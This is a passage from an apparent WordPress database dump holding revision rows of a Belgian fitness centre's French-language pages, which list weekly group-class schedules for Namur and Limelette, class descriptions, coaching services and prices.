class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '383-revision-v1', '', '', '2013-11-03 09:18:15', '2013-11-03 09:18:15', '', 383, 'http://www2.crosstrainingcenter.be/383-revision-v1/', 0, 'revision', '', 0),
(404, 1, '2013-11-03 09:06:37', '2013-11-03 09:06:37', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n&lt;h1&gt;&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances/\&quot;&gt;Namur&lt;/a&gt;&lt;/h1&gt;\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi_hover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n&lt;h1&gt;Limelette&lt;/h1&gt;\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '383-revision-v1', '', '', '2013-11-03 09:06:37', '2013-11-03 09:06:37', '', 383, 'http://www2.crosstrainingcenter.be/383-revision-v1/', 0, 'revision', '', 0),
(405, 1, '2013-11-03 09:10:32', '2013-11-03 09:10:32', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;a href=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-390 aligncenter\&quot; alt=\&quot;map\&quot; src=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map-300x235.png\&quot; width=\&quot;300\&quot; height=\&quot;235\&quot; /&gt;&lt;/a&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '385-revision-v1', '', '', '2013-11-03 09:10:32', '2013-11-03 09:10:32', '', 385, 'http://www2.crosstrainingcenter.be/385-revision-v1/', 0, 'revision', '', 0),
(406, 1, '2013-11-03 09:12:01', '2013-11-03 09:12:01', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;a href=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-390 aligncenter\&quot; alt=\&quot;map\&quot; src=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map-300x235.png\&quot; width=\&quot;300\&quot; height=\&quot;235\&quot; /&gt;&lt;/a&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '385-revision-v1', '', '', '2013-11-03 09:12:01', '2013-11-03 09:12:01', '', 385, 'http://www2.crosstrainingcenter.be/385-revision-v1/', 0, 'revision', '', 0),
(407, 1, '2013-11-03 09:16:40', '2013-11-03 09:16:40', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur 